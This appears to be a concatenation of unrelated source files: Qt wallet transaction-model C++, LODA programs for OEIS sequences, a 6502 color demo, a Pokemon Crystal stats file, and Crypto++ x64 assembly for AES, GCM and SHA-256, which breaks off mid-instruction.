involved in this transaction."); case ToAddress: return tr("Destination address of transaction."); case Amount: return tr("Amount removed from or added to balance."); } } } return QVariant(); } QModelIndex TransactionTableModel::index(int row, int column, const QModelIndex &parent) const { Q_UNUSED(parent); TransactionRecord *data = priv->index(row); if(data) { return createIndex(row, column, priv->index(row)); } return QModelIndex(); } void TransactionTableModel::updateDisplayUnit() { // emit dataChanged to update Amount column with the current unit updateAmountColumnTitle(); emit dataChanged(index(0, Amount), index(priv->size()-1, Amount)); } // queue notifications to show a non freezing progress dialog e.g. for rescan struct TransactionNotification { public: TransactionNotification() {} TransactionNotification(uint256 hash, ChangeType status, bool showTransaction): hash(hash), status(status), showTransaction(showTransaction) {} void invoke(QObject *ttm) { QString strHash = QString::fromStdString(hash.GetHex()); qDebug() << "NotifyTransactionChanged : " + strHash + " status= " + QString::number(status); QMetaObject::invokeMethod(ttm, "updateTransaction", Qt::QueuedConnection, Q_ARG(QString, strHash), Q_ARG(int, status), Q_ARG(bool, showTransaction)); } private: uint256 hash; ChangeType status; bool showTransaction; }; static bool fQueueNotifications = false; static std::vector< TransactionNotification > vQueueNotifications; static void NotifyTransactionChanged(TransactionTableModel *ttm, CWallet *wallet, const uint256 &hash, ChangeType status) { // Find transaction in wallet std::map<uint256, CWalletTx>::iterator mi = wallet->mapWallet.find(hash); // Determine whether to show transaction or not (determine this here so that no relocking is needed in GUI thread) bool inWallet = mi != wallet->mapWallet.end(); bool showTransaction = (inWallet && TransactionRecord::showTransaction(mi->second)); TransactionNotification notification(hash, status, showTransaction); if (fQueueNotifications) { vQueueNotifications.push_back(notification); return; } notification.invoke(ttm); } static void ShowProgress(TransactionTableModel *ttm, const std::string &title, int nProgress) { if (nProgress == 0) fQueueNotifications = true; if (nProgress == 100) { fQueueNotifications = false; if (vQueueNotifications.size() > 10) // prevent balloon spam, show maximum 10 balloons QMetaObject::invokeMethod(ttm, "setProcessingQueuedTransactions", Qt::QueuedConnection, Q_ARG(bool, true)); for (unsigned int i = 0; i < vQueueNotifications.size(); ++i) { if (vQueueNotifications.size() - i <= 10) QMetaObject::invokeMethod(ttm, "setProcessingQueuedTransactions", Qt::QueuedConnection, Q_ARG(bool, false)); vQueueNotifications[i].invoke(ttm); } std::vector<TransactionNotification >().swap(vQueueNotifications); // clear } } void TransactionTableModel::subscribeToCoreSignals() { // Connect signals to wallet wallet->NotifyTransactionChanged.connect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3)); wallet->ShowProgress.connect(boost::bind(ShowProgress, this, _1, _2)); } void TransactionTableModel::unsubscribeFromCoreSignals() { // Disconnect signals from wallet wallet->NotifyTransactionChanged.disconnect(boost::bind(NotifyTransactionChanged, this, _1, _2, _3)); wallet->ShowProgress.disconnect(boost::bind(ShowProgress, this, _1, _2)); }
; A235988: Sum of the partition parts of 3n into 3 parts. ; 3,18,63,144,285,486,777,1152,1647,2250,3003,3888,4953,6174,7605,9216,11067,13122,15447,18000,20853,23958,27393,31104,35175,39546,44307,49392,54897,60750,67053,73728,80883,88434,96495,104976,113997,123462,133497,144000,155103,166698,178923,191664,205065,219006,233637,248832,264747,281250,298503,316368,335013,354294,374385,395136,416727,439002,462147,486000,510753,536238,562653,589824,617955,646866,676767,707472,739197,771750,805353,839808,875343,911754,949275,987696,1027257,1067742,1109397,1152000,1195803,1240578,1286583,1333584,1381845,1431126,1481697,1533312,1586247,1640250,1695603,1752048,1809873,1868814,1929165,1990656,2053587,2117682,2183247,2250000 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $7,$0 mov $8,0 mov $9,$0 add $9,1 lpb $9 mov $0,$7 sub $9,1 sub $0,$9 mov $5,3 mov $6,$0 gcd $6,2 add $5,$6 mul $5,$0 mov $3,$5 trn $3,1 mul $3,3 add $3,3 add $8,$3 lpe add $1,$8 lpe mov $0,$1
; submitted by Anonymous jmp $700 *=$700 ldx #0 ldy #0 ;init screen lda #0 sta $0 sta $3 lda #2 sta $1 loop: lda colors,x bpl ok inc $0 ldx #0 lda colors,x ok: inx sta ($0),y iny bne ok2 inc $1 lda $1 cmp #6 beq end ok2: jmp loop end: inc $3 lda $3 and #$3f tax ldy #0 lda #2 sta $1 sty $0 jmp loop colors: dcb 0,2,0,2,2,8,2,8,8,7,8,7,7,1,7,1,1,7,1,7,7,8,7,8 dcb 8,2,8,2,2,0,2,0,2,2,8,2,8,8,7,8,7,7,1,7,1,1,1,1 dcb 1,1,1,1,7,1,7,7,8,7,8,8,2,8,2,2,255
; A142008: Primes congruent to 4 mod 31. ; Submitted by Jamie Morken(s4) ; 97,283,593,1151,1213,1399,1523,1709,2081,2143,2267,2887,3011,3259,3631,4003,4127,4561,4871,4933,5119,5801,5987,6173,6359,6421,6607,6793,6917,7103,7351,7537,7723,8219,8467,8839,8963,9397,9521,9769,10079,10141,10513,11071,11257,11443,11939,12373,12497,13241,13613,13799,14419,14543,15101,15287,15349,15473,15907,16217,16651,17209,17333,17519,17581,17891,18077,19069,19379,19441,19751,19813,19937,20123,20681,20743,20929,21487,21611,21673,21859,22541,22727,23099,23719,24029,24091,25579,25703,25889 mov $2,$0 add $2,2 pow $2,2 lpb $2 mov $3,$1 add $3,34 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,62 sub $2,1 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,27
db 0 ; species ID placeholder db 80, 82, 78, 85, 95, 80 ; hp atk def spd sat sdf db WATER, WATER ; type db 75 ; catch rate db 174 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F0 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/golduck/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_WATER_1, EGG_GROUND ; egg groups ; tm/hm learnset tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ROCK_SMASH, PSYCH_UP, HIDDEN_POWER, SNORE, BLIZZARD, HYPER_BEAM, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, IRON_TAIL, RETURN, DIG, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SWIFT, REST, ATTRACT, FURY_CUTTER, SURF, STRENGTH, FLASH, WHIRLPOOL, WATERFALL, ICE_BEAM ; end
include ksamd64.inc EXTERNDEF ?Te@rdtable@CryptoPP@@3PA_KA:FAR EXTERNDEF ?g_cacheLineSize@CryptoPP@@3IA:FAR EXTERNDEF ?SHA256_K@CryptoPP@@3QBIB:FAR .CODE ALIGN 8 Baseline_Add PROC lea rdx, [rdx+8*rcx] lea r8, [r8+8*rcx] lea r9, [r9+8*rcx] neg rcx ; rcx is negative index jz $1@Baseline_Add mov rax,[r8+8*rcx] add rax,[r9+8*rcx] mov [rdx+8*rcx],rax $0@Baseline_Add: mov rax,[r8+8*rcx+8] adc rax,[r9+8*rcx+8] mov [rdx+8*rcx+8],rax lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2 jrcxz $1@Baseline_Add ; loop until rcx overflows and becomes zero mov rax,[r8+8*rcx] adc rax,[r9+8*rcx] mov [rdx+8*rcx],rax jmp $0@Baseline_Add $1@Baseline_Add: mov rax, 0 adc rax, rax ; store carry into rax (return result register) ret Baseline_Add ENDP ALIGN 8 Baseline_Sub PROC lea rdx, [rdx+8*rcx] lea r8, [r8+8*rcx] lea r9, [r9+8*rcx] neg rcx ; rcx is negative index jz $1@Baseline_Sub mov rax,[r8+8*rcx] sub rax,[r9+8*rcx] mov [rdx+8*rcx],rax $0@Baseline_Sub: mov rax,[r8+8*rcx+8] sbb rax,[r9+8*rcx+8] mov [rdx+8*rcx+8],rax lea rcx,[rcx+2] ; advance index, avoid inc which causes slowdown on Intel Core 2 jrcxz $1@Baseline_Sub ; loop until rcx overflows and becomes zero mov rax,[r8+8*rcx] sbb rax,[r9+8*rcx] mov [rdx+8*rcx],rax jmp $0@Baseline_Sub $1@Baseline_Sub: mov rax, 0 adc rax, rax ; store carry into rax (return result register) ret Baseline_Sub ENDP ALIGN 8 Rijndael_Enc_AdvancedProcessBlocks_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi push_reg rbx push_reg r12 .endprolog mov r8, rcx mov r11, ?Te@rdtable@CryptoPP@@3PA_KA mov edi, DWORD PTR [?g_cacheLineSize@CryptoPP@@3IA] mov rsi, [(r8+16*19)] mov rax, 16 and rax, rsi movdqa xmm3, XMMWORD PTR [rdx+16+rax] movdqa [(r8+16*12)], xmm3 lea rax, [rdx+rax+2*16] sub rax, rsi label0: movdqa xmm0, [rax+rsi] movdqa XMMWORD PTR [(r8+0)+rsi], xmm0 add rsi, 16 cmp rsi, 16*12 jl label0 movdqa xmm4, [rax+rsi] movdqa xmm1, [rdx] mov r12d, [rdx+4*4] mov ebx, [rdx+5*4] mov ecx, [rdx+6*4] mov edx, [rdx+7*4] xor rax, rax label9: mov esi, [r11+rax] add rax, rdi mov esi, [r11+rax] add rax, rdi mov esi, [r11+rax] add rax, rdi mov esi, [r11+rax] add rax, rdi cmp rax, 2048 jl label9 lfence test DWORD PTR [(r8+16*18+8)], 1 jz label8 mov rsi, [(r8+16*14)] movdqu xmm2, [rsi] pxor xmm2, xmm1 psrldq xmm1, 14 movd eax, xmm1 mov al, BYTE PTR [rsi+15] mov r10d, eax movd eax, xmm2 psrldq xmm2, 4 movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] psrldq xmm2, 3 mov eax, [(r8+16*12)+0*4] mov edi, [(r8+16*12)+2*4] mov r9d, [(r8+16*12)+3*4] movzx esi, cl xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bl xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bh xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ebx, 16 movzx esi, bl xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, bh mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] xor ebx, [(r8+16*12)+1*4] movzx esi, ch xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ecx, 16 movzx esi, dl xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 movzx esi, ch xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dl xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dh xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movd ecx, xmm2 mov edx, r12d mov [(r8+0)+3*4], r9d mov [(r8+0)+0*4], eax mov [(r8+0)+1*4], ebx mov [(r8+0)+2*4], edi jmp label5 label3: mov r12d, [(r8+16*12)+0*4] mov ebx, [(r8+16*12)+1*4] mov ecx, [(r8+16*12)+2*4] mov edx, [(r8+16*12)+3*4] label8: mov rax, [(r8+16*14)] movdqu xmm2, [rax] mov rsi, [(r8+16*14)+8] movdqu xmm5, [rsi] pxor xmm2, xmm1 pxor xmm2, xmm5 movd eax, xmm2 psrldq xmm2, 4 movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 psrldq xmm2, 4 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor r12d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movd edi, xmm2 movzx esi, al xor ecx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor r12d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor edx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, edi movzx esi, al xor edx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ah xor ecx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] shr eax, 16 movzx esi, al xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, ah xor r12d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov eax, r12d add r8, [(r8+16*19)] add r8, 4*16 jmp label2 label1: mov ecx, r10d mov edx, r12d mov eax, [(r8+0)+0*4] mov ebx, [(r8+0)+1*4] xor cl, ch and rcx, 255 label5: add r10d, 1 xor edx, DWORD PTR [r11+rcx*8+3] movzx esi, dl xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh mov ecx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 xor ecx, [(r8+0)+2*4] movzx esi, dh xor eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, dl mov edx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] xor edx, [(r8+0)+3*4] add r8, [(r8+16*19)] add r8, 3*16 jmp label4 label2: mov r9d, [(r8+0)-4*16+3*4] mov edi, [(r8+0)-4*16+2*4] movzx esi, cl xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov cl, al movzx esi, ah xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr eax, 16 movzx esi, bl xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bh xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ebx, 16 movzx esi, al xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, ah mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, bl xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, bh mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ch xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] shr ecx, 16 movzx esi, dl xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 movzx esi, ch xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dl xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dh xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] mov ecx, edi xor eax, [(r8+0)-4*16+0*4] xor ebx, [(r8+0)-4*16+1*4] mov edx, r9d label4: mov r9d, [(r8+0)-4*16+7*4] mov edi, [(r8+0)-4*16+6*4] movzx esi, cl xor r9d, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] mov cl, al movzx esi, ah xor edi, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr eax, 16 movzx esi, bl xor edi, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, bh xor r9d, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr ebx, 16 movzx esi, al xor r9d, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, ah mov eax, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, bl xor eax, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, bh mov ebx, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, ch xor eax, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] shr ecx, 16 movzx esi, dl xor eax, DWORD PTR [r11+8*rsi+(((3+3) MOD (4))+1)] movzx esi, dh xor ebx, DWORD PTR [r11+8*rsi+(((2+3) MOD (4))+1)] shr edx, 16 movzx esi, ch xor edi, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] movzx esi, cl xor ebx, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dl xor edi, DWORD PTR [r11+8*rsi+(((1+3) MOD (4))+1)] movzx esi, dh xor r9d, DWORD PTR [r11+8*rsi+(((0+3) MOD (4))+1)] mov ecx, edi xor eax, [(r8+0)-4*16+4*4] xor ebx, [(r8+0)-4*16+5*4] mov edx, r9d add r8, 32 test r8, 255 jnz label2 sub r8, 16*16 movzx esi, ch movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, dl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+2], di movzx esi, dh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, al xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+6], di shr edx, 16 movzx esi, ah movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, bl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+10], di shr eax, 16 movzx esi, bh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, cl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+14], di shr ebx, 16 movzx esi, dh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, al xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+12], di shr ecx, 16 movzx esi, ah movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, bl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+0], di movzx esi, bh movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, cl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+4], di movzx esi, ch movzx edi, BYTE PTR [r11+rsi*8+1] movzx esi, dl xor edi, DWORD PTR [r11+rsi*8+0] mov WORD PTR [(r8+16*13)+8], di mov rax, [(r8+16*14)+16] mov rbx, [(r8+16*14)+24] mov rcx, [(r8+16*18+8)] sub rcx, 16 movdqu xmm2, [rax] pxor xmm2, xmm4 movdqa xmm0, [(r8+16*16)+16] paddq xmm0, [(r8+16*14)+16] movdqa [(r8+16*14)+16], xmm0 pxor xmm2, [(r8+16*13)] movdqu [rbx], xmm2 jle label7 mov [(r8+16*18+8)], rcx test rcx, 1 jnz label1 movdqa xmm0, [(r8+16*16)] paddq xmm0, [(r8+16*14)] movdqa [(r8+16*14)], xmm0 jmp label3 label7: xorps xmm0, xmm0 lea rax, [(r8+0)+7*16] movaps [rax-7*16], xmm0 movaps [rax-6*16], xmm0 movaps [rax-5*16], xmm0 movaps [rax-4*16], xmm0 movaps [rax-3*16], xmm0 movaps [rax-2*16], xmm0 movaps [rax-1*16], xmm0 movaps [rax+0*16], xmm0 movaps [rax+1*16], xmm0 movaps [rax+2*16], xmm0 movaps [rax+3*16], xmm0 movaps [rax+4*16], xmm0 movaps [rax+5*16], xmm0 movaps [rax+6*16], xmm0 pop r12 pop rbx pop rdi pop rsi ret Rijndael_Enc_AdvancedProcessBlocks_SSE2 ENDP ALIGN 8 GCM_AuthenticateBlocks_2K_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi push_reg rbx .endprolog mov rsi, r8 mov r11, r9 movdqa xmm0, [rsi] label0: movdqu xmm4, [rcx] pxor xmm0, xmm4 movd ebx, xmm0 mov eax, 0f0f0f0f0h and eax, ebx shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah movdqa xmm5, XMMWORD PTR [rsi + 32 + 1024 + rdi] movzx edi, al movdqa xmm4, XMMWORD PTR [rsi + 32 + 1024 + rdi] shr eax, 16 movzx edi, ah movdqa xmm3, XMMWORD PTR [rsi + 32 + 1024 + rdi] movzx edi, al movdqa xmm2, XMMWORD PTR [rsi + 32 + 1024 + rdi] psrldq xmm0, 4 movd eax, xmm0 and eax, 0f0f0f0f0h movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + (1-1)*256 + rdi] movd ebx, xmm0 shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] movzx edi, al pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] shr eax, 16 movzx edi, ah pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] movzx edi, al pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 1*256 + rdi] psrldq xmm0, 4 movd eax, xmm0 and eax, 0f0f0f0f0h movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + (2-1)*256 + rdi] movd ebx, xmm0 shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] movzx edi, al pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] shr eax, 16 movzx edi, ah pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] movzx edi, al pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 2*256 + rdi] psrldq xmm0, 4 movd eax, xmm0 and eax, 0f0f0f0f0h movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + (3-1)*256 + rdi] movd ebx, xmm0 shl ebx, 4 and ebx, 0f0f0f0f0h movzx edi, ah pxor xmm5, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] movzx edi, al pxor xmm4, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] shr eax, 16 movzx edi, ah pxor xmm3, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] movzx edi, al pxor xmm2, XMMWORD PTR [rsi + 32 + 1024 + 3*256 + rdi] movzx edi, bh pxor xmm5, XMMWORD PTR [rsi + 32 + 3*256 + rdi] movzx edi, bl pxor xmm4, XMMWORD PTR [rsi + 32 + 3*256 + rdi] shr ebx, 16 movzx edi, bh pxor xmm3, XMMWORD PTR [rsi + 32 + 3*256 + rdi] movzx edi, bl pxor xmm2, XMMWORD PTR [rsi + 32 + 3*256 + rdi] movdqa xmm0, xmm3 pslldq xmm3, 1 pxor xmm2, xmm3 movdqa xmm1, xmm2 pslldq xmm2, 1 pxor xmm5, xmm2 psrldq xmm0, 15 movd rdi, xmm0 movzx eax, WORD PTR [r11 + rdi*2] shl eax, 8 movdqa xmm0, xmm5 pslldq xmm5, 1 pxor xmm4, xmm5 psrldq xmm1, 15 movd rdi, xmm1 xor ax, WORD PTR [r11 + rdi*2] shl eax, 8 psrldq xmm0, 15 movd rdi, xmm0 xor ax, WORD PTR [r11 + rdi*2] movd xmm0, eax pxor xmm0, xmm4 add rcx, 16 sub rdx, 1 jnz label0 movdqa [rsi], xmm0 pop rbx pop rdi pop rsi ret GCM_AuthenticateBlocks_2K_SSE2 ENDP ALIGN 8 GCM_AuthenticateBlocks_64K_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi .endprolog mov rsi, r8 movdqa xmm0, [rsi] label1: movdqu xmm1, [rcx] pxor xmm1, xmm0 pxor xmm0, xmm0 movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (0*4+3)*256*16 + rdi*8] movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (1*4+3)*256*16 + rdi*8] movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (2*4+3)*256*16 + rdi*8] movd eax, xmm1 psrldq xmm1, 4 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+0)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+1)*256*16 + rdi*8] shr eax, 16 movzx edi, al add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+2)*256*16 + rdi*8] movzx edi, ah add rdi, rdi pxor xmm0, [rsi + 32 + (3*4+3)*256*16 + rdi*8] add rcx, 16 sub rdx, 1 jnz label1 movdqa [rsi], xmm0 pop rdi pop rsi ret GCM_AuthenticateBlocks_64K_SSE2 ENDP ALIGN 8 SHA256_HashMultipleBlocks_SSE2 PROC FRAME rex_push_reg rsi push_reg rdi push_reg rbx push_reg rbp alloc_stack(8*4 + 16*4 + 4*8 + 8) .endprolog mov rdi, r8 lea rsi, [?SHA256_K@CryptoPP@@3QBIB + 48*4] mov [rsp+8*4+16*4+1*8], rcx mov [rsp+8*4+16*4+2*8], rdx add rdi, rdx mov [rsp+8*4+16*4+3*8], rdi movdqa xmm0, XMMWORD PTR [rcx+0*16] movdqa xmm1, XMMWORD PTR [rcx+1*16] mov [rsp+8*4+16*4+0*8], rsi label0: sub rsi, 48*4 movdqa [rsp+((1024+7-(0+3)) MOD (8))*4], xmm1 movdqa [rsp+((1024+7-(0+7)) MOD (8))*4], xmm0 mov rbx, [rdx+0*8] bswap rbx mov [rsp+8*4+((1024+15-(0*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+1*8] bswap rbx mov [rsp+8*4+((1024+15-(1*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+2*8] bswap rbx mov [rsp+8*4+((1024+15-(2*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+3*8] bswap rbx mov 